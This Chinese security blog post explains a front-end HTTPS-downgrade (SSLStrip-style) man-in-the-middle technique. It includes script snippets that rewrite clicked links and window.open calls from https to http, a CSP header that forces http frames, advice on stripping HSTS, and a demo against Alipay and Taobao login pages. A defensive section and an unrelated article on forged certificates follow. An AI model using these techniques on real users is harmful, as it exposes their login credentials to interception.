在 Web 刚出现的年代里,SSLStrip 这样的工具还是大有用武之地的。那时的网页都以静态为主,结构简单层次清晰。在流量上进行替换,完全能够胜任。

然而,如今的网页日益复杂,脚本所占比重越来越多。如果仅仅从流量上着手,显然力不从心。

var protocol = ‘https’; document.write(‘Login’);

即使非常简单的动态元素,后端也毫无招架之力。

分片处理

分块传输的道理大家都明白。对于较大的数据,一口气是无法传完的。客户端依次收到各个数据块,最终才能合并成一个完整的网页。

SSLStrip的未来——HTTPS前端劫持-1

  由于每次收到的都是残缺的碎片,这给链接替换带来很大的麻烦。加上不少页面并非标准的 UTF-8 编码,因此更是难上加难。

为了能顺利进行,中间人通常先收集数据,等到页面接收完整,才开始替换。

SSLStrip的未来——HTTPS前端劫持-1

  如果把数据比作水流,这个代理就像大坝一样,拦截了源源不断往下流的水,直到蓄满了才开始释放。因此,下游的人们需忍受很久的干旱,才能等到水源。

性能消耗

由于 HTML 兼容众多历史遗留规范,因此替换工作并非是件轻松事。

各种复杂的正则表达式,消耗着不少的 CPU 资源。尽管用户最终点击的只是其中一两个链接,但中间人并不知道将会是哪个,因此仍需分析整个页面。这不得不说是个悲哀。

 0x02 前端的优势

如果我们的中间人能打入到页面的前端,那么情况会不会有所改善呢?

分片处理

首先,要派一名间谍到页面里。这是非常容易办到的:

SSLStrip的未来——HTTPS前端劫持-3

  不像超链接遍布在页面各处,脚本插入到头部即可运行了。所以我们根本不用整个页面的数据,只需改造下第一个 chunk 就可以,后续的数据仍然交给系统转发。

因此,整个代理的时间几乎不变!

动态元素

很好,我们轻易渗透到页面里。但接着又如何发起进攻?

既然到了前端里,方法就相当多了。最简单的,就是遍历超链接元素,将 https 的都替换成 http 版本。

这个想法确实不错,但仍停留在 SSLStrip 思维模式上。还是『替换』这条路,只是从后端搬到前端而已。

尽管这个方法能胜任大多场合,但仍然不是最完美的。我们并不知道动态元素何时会添加进来,因此需要开启定时器不断的扫描。这显然是个很挫的办法。

性能优化

事实上,超链接无论是谁产生的、何时添加进来的,只要不点击,都是不起作用的。所以,我们只需关心何时去点击就可以 —— 如果我们的程序,能在点击产生的第一时间里控制住现场,那么之后的流程就可由我们决定了。

听起来似乎很玄乎,不过在前端,这只是小菜一碟的事。点击,不过个事件而已。既然是事件,我们用最基础的事件捕获机制,即可将其轻松拿下:

document.addEventListener(‘click’, function(e) { // … }, true);

DOM-3-Event 是个非常有意义的事件模型。之前用它来实现『内联 XSS 拦截』,如今同样也可以用来劫持链接。

我们捕获全局的点击事件,如果发现有落在 https 超链接上,果断将其……拦截?

如果真把它拦截了,那新页面就不会出现了。当然你会说,可以自己 window.open 弹一个,反正点击事件里是可以弹窗的。

不过,请别忘了,并非所有的超链接都是弹窗,也有不少是直接跳转的。你也会说可以修改 location 来实现。

但要识别是『弹窗』还是『跳转』,并不简单。除了超链接的 target 属性,页面里的 元素也会有影响。当然,这些相信你都能处理好。

然而,现实未必都是那么简单的。有些超链接本身就绑定了 onclick 事件,甚至在其中 return false 或 preventDefault,屏蔽了默认行为。如果我们不顾及这些,仍然模拟跳转或弹窗,那就违背页面的意愿了。

事实上,有一个非常简单的办法:当我们的捕获程序运行时,新页面还远没出现,这时仍有机会修改超链接的 href。待事件冒泡完成、执行默认行为时,浏览器才读取 href 属性,作为最终的结果。

因此,我们只需捕获点击事件,修改超链接地址就可以了。至于是跳转、弹窗、还是被屏蔽,根本不用我们关心。

SSLStrip的未来——HTTPS前端劫持-2

  就那么简单。因为我们是在用户点下去之后才修改,所以浏览器状态栏里,显示的仍是原先 https !

当然,点过一次之后,再把鼠标放到超链接上,状态栏里显示的就是修改后的了。

为了能继续忽悠,我们在修改 href 之后的下个线程周期里,把它改回来。因为有了一定延时,新页面并不受影响。

var url = link.href; // 保存原始地址 link.href = url.replace(‘https://’, ‘http://’); // 暂时换成 http 的 setTimeout(function() { link.href = url; // 新页面打开后,还原回来 }, 0);

这样,页面里的超链接始终都是正常的 —— 只有用户点下的瞬间,才临时伪装一下。

 0x03 更多拦截

除了通过超链接,还有其他方式访问页面,我们应尽可能多的进行监控。例如:

表单提交

window.open 弹窗

框架页面

…..

表单提交

表单提交和超链接非常类似,都具有事件,只是将 click 换成 submit,href 换成 action 而已。

脚本弹窗

函数调用的最简单了,只需一个小钩子即可搞定:

var raw_open = window.open; window.open = function(url) { // FIX: null, case insensitive arguments[0] = url.replace(‘https://’, ‘http://’); raw_open.apply(this, arguments); }

框架页面

因为我们把主页面降级成 http 了,但里面的框架地址仍是原先的。由于协议不同,这会产生跨域问题,导致页面无法正常工作。

所以我们还要把页面里的框架,也都转型成 http 版本,确保能和主页面融为一致。

但框架和之前的那些不同,因为它是自动加载的,而且也没有一个即将加载的事件。如果等到框架加载完了再去处理,说不定已经开始报跨域错误了。而且还会白白的浪费一次加载流量。

因此,我们必须让框架一出现,就立即替换掉地址。

这在过去是个很棘手的问题,然而 HTML5 时代给我们带来了新希望 —— MutationEvent。用它即可实时监控页面元素,之前也尝试过一些试验。

当然,即使 MutationEvent,偶尔也会有延时遗漏。为了能彻底避免出现 https 框架页,我们继续使用 HTML5 带来的一项新技术 —— Content Security Policy,由于它是浏览器原生支持的,因此实施的非常彻底。

在我们的代理返回头中,加上如下 HTTP 头部,即可完美拦截 https 框架页了:

Content-Security-Policy: default-src * data ‘unsafe-inline’ ‘unsafe-eval’; frame-src http://*

解决了框架页的问题,我们就能成功劫持支付宝登录页的账号框 IFrame 了!

SSLStrip的未来——HTTPS前端劫持-5

  0x04 后端配合

通过前端的 XSS 脚本,我们轻易解决了过去各种棘手的问题。但挑战并未就此结束,我们仍面临着众多难题。

如何告诉代理

尽管在前端上面,我们已经避开了各种进入 https 的途径,让请求以明文的形式交给代理。但代理又如何决定,这个请求用 https 还是 http 转发呢?

传统的后端劫持之所以能正确转发,那是在替换超链接的时候,已经做下记录。当出现记录中的请求,就走 https 的转发。

而我们的劫持在前端,并且只发生在点击的一瞬间。即使马上去告诉中间人,某个 URL 是 https 的,这时也来不及了。

告诉中间人是必须的。但我们可以用一个巧妙的方法,不必单独发送消息 —— 我们只需在转型后的 URL 里,做个小记号就可以了。

当代理发现请求的 URL 里有这个记号,它自然就懂了,直接走 https!

SSLStrip的未来——HTTPS前端劫持-1

  由于把页面从 https 降级到了 http,因此相关请求的referer也变成 http 版了。所以,中间人应尽量把 referer 也修正回来,避免被服务器察觉。

隐藏伪装

不过,在 URL 里加标记的方法,也有很大的缺陷。

因为页面的 URL 会在地址栏里显示出来,所以用户会看见我们的记号。当然,我们可以使用一些迷惑性的字符,例如 ?zh_cn、?utf_8,?from_baidu 等等,更好的欺骗用户。

当然,如果你觉得还是不满意,也有办法让这些碍眼标记尽快消失:

if url has symbol

history.replaceState(…, clear_symbol(url) )

HTML5 为我们提供了修改地址栏的能力,并且无需刷新。这些强悍的功能,如今都可以在前端利用起来了。

重定向劫持

当然,光靠前端的劫持,还是远远不够的。现实中,还有另一种很常见的方式,那就是重定向到安全页面。

仔细回想下,平时我们是怎样进入想上的网站的。例如支付宝,除非你有收藏,否则就得自己敲入 www.alipay.com 或 www.zhifubao.com,当你回车进入时,浏览器又如何知道这是个 HTTPS 的网站呢?

显然,第一个请求仍是普通的 HTTP 协议。当然,这个 HTTP 版的支付宝的确存在,它的唯一功能就将用户重定向到 HTTPS 版本。

当我们的中间人一旦发现有重定向到 HTTPS 网站的,当然不希望用户走这条不受自己控制的路。于是拦下这个重定向,然后以 HTTPS 的方式,获取重定向后的内容,最后再以 HTTP 明文的方式,回复给用户。

SSLStrip的未来——HTTPS前端劫持-7

  因此在用户看来,始终处于 HTTP 网站上。

不过,如今的 Web 里增加一个新的安全标准:HTTP Strict Transport Security。如果客户端收到这个头部,之后一段时间内访问该站点,就始终通过 HTTPS 的方式。

所以我们的中间人一旦发现有这个字段,就得果断将其删除。

当然,用户直接敲网址的并不常见。大多都是搜索引擎,然后直接从第一个结果里进来了。

比较悲剧的是,国内的搜索引擎几乎都是 HTTP 的。在用户访问搜索页面的时候,我们的 XSS 早已潜伏在其中了,因此从中点出来的任何一条结果,都是进不到官方的 HTTPS 里的:)

除了搜索页面,不少类似 hao123 之类的网址大全,大多也未开启 HTTPS。因此从中导流的网站,都面临着被中间人劫持的风险。

  0x05 防范措施

介绍了攻击方法,接着讲解防御措施。

脚本跳转

事实上,无论是前端劫持还是后端过滤,仍有不少的网站无法成功。例如京东的登录:

SSLStrip的未来——HTTPS前端劫持-4

  它是通过脚本跳转到 HTTPS 地址的。而浏览器的 location 是个及其特殊的属性,它可以被屏蔽,但无法被重写。因此我们难以控制页面的跳转情况。

如果非要劫持京东页面,我们只能使用白名单的方式,特殊对待该站点。但这样就大幅增加了攻击成本。

混淆明文

当然,不难发现京东的登录脚本里,URL 是以最直白的明文出现的。所以我们利用 SSLStrip 的方式,对脚本里的 https:// 的文本进行替换,也能起到一定的作用,毕竟大多脚本都对此毫无防备。

但对于稍微复杂一点的脚本,例如通过字符串拼接而成的 URL,那么就难以实施了。

所以在安全需要较高的场合,不妨把一些重要的地址进行简单的处理,中间人就无法使用通用的方式来攻击。而必须针对站点进行特殊对待,从而提高攻击成本。

尽可能多的 HSTS

之前提到 HSTS 头。只要这个字段出现过一次,浏览器在很长时间里都会只用 HTTPS 访问站点。因此,我们尽可能多的开启 HSTS。

现实中的劫持并非都是 100% 成功的,上述提到,使用脚本跳转很容易出现遗漏。所以,只要逮住用户一次遗漏,HSTS 就可以让之后的页面降级彻底失效了。

  0x06 攻击演示

因为是前端劫持,所以 Demo 有两个文件:一个前端代码,另一个后端脚本(NodeJS)。

相关源码:https://github.com/EtherDream/https_hijack_demo

相比之前写的流量劫持演示,这里功能更为专一,不再提供额外的劫持途径(例如 DNS 等)。

想测试其实非常简单,只需配置浏览器代理,即可模拟 HTTP 的劫持:

SSLStrip的未来——HTTPS前端劫持-5

  不嫌麻烦的话,也可以在 Linux 内核的系统上测试,转发 80 到本机即可。原理都是一样的。

我们随便找一个 HTTP -> HTTPS 网站做测试。

得益于前端脚本的优势,我们把鼠标放到登录超链接上,状态栏显示的仍是原始 URL:

SSLStrip的未来——HTTPS前端劫持-10

  在我们点击的瞬间,暗藏页面中的 XSS 钩子触发了,成功把我们带到中间人虚拟的 HTTP 登录页面里。

当然,由于 URL 参数很多,地址栏里的那个记号看不到了。

SSLStrip的未来——HTTPS前端劫持-6

  庆幸的是,淘宝的登录页面未进行地址判断,被降级后的页面仍然能登录成功!

SSLStrip的未来——HTTPS前端劫持-12

  当然之前也说了,并非所有的页面都能劫持成功。

如今越来越多的网站都已重视,因此前端的安全性检测也随之而生。仅仅通过一个工具,实现大规模通用化的劫持,未来会更加困难。

但先比传统的纯后端实现,前后结合的方案能够带来更大的发挥空间。

分类
知识中心

企业应该如何防范HTTPS伪造证书?

最近未经授权的HTTPS证书成为热门新闻话题,其中有些证书还是来自已熟知/理应可信的供应商的根存储。那么,企业应该如何防范这些伪造证书?

Michael Cobb:互联网的安全性在很大程度上依赖于对证书颁发机构(CA)的信任,CA颁发数字证书以供Web服务器用于识别自己和加密服务器及用户之间的流量。这些证书可以防止攻击者伪造网站或者窃听发送到和发送自网站的通信。

企业应该如何防范HTTPS伪造证书?-1

  不幸的是,这种信任正在被破坏,因为一系列针对CA(例如DigiNotar和Comodo)的攻击以及ANSSI情况中的糟糕做法—这导致颁发欺诈性或未经授权数字证书。伪造证书允许攻击者窥视Web服务器和浏览器之间发送的信息,即使这种连接似乎很安全。他们还可以用来欺骗内容以及执行网络钓鱼或中间人攻击。在最近的事件中,在CA印度国家信息中心(NIC)的证书发布过程受到攻击后,对很多谷歌的域名发出了未经授权数字证书。

NIC持有几个中间CA证书受印度政府的核准控制局(India CCA)信任。这些India CCA证书包含在微软Root Store中,因此Windows中运行的很多应用程序都信任该证书,包括IE浏览器和谷歌的Chrome浏览器。Mac OS X、iOS和Android操作系统中的根存储并不包含印度CCA的证书,所以并没有受到影响。Firefox也没有受到影响,因为它使用的是自己的根存储,其中不包含这些证书。

谷歌通过发布CRLSet迅速阻止了Chrome中的未经授权的证书。印度CCA随后撤销了所有NIC中间证书,并且进行了又一次CRLSet更新来包含这个撤销。同时,由于谷歌网站利用公共密钥pinning机制,Windows中的Chrome不会让谷歌网站接受这些伪造证书。pinning是一种HTTP协议,允许Web管理员指示浏览器在给定的时间内记住或者“pin”到Web服务器的数字证书,从而减少了在这个pin时间内可以验证该域名的机构数量。

目前有几个举措正试图改进对CA及其颁发证书的信任。这些包括谷歌的Certificate Transparency计划和DNS-based Authentication of Named Entities(DANE)。然而,到目前为止这些项目并没有广泛的部署。

浏览器的信任决策是基于根存储中信任根,因此企业保护其用户免受恶意证书的危害的最好办法是,确保浏览器保持更新了最新的证书信任列表。打开浏览器中的证书吊销检查并不能够很有效地确定证书是否仍然有效,并会显著减慢页面加载时间。更好的选择是使用防火墙来深层扫描SSL加密流量,以嗅出假证书或恶意代码。安全团队还应该监控安全新闻feeds,并且在还没有可用更新而对网络的风险被认为不可接受时,应该从根存储手动删除不受信任证书。在整个企业网络撤销根和清除本地缓存CTL的指令可以通过组策略来发布。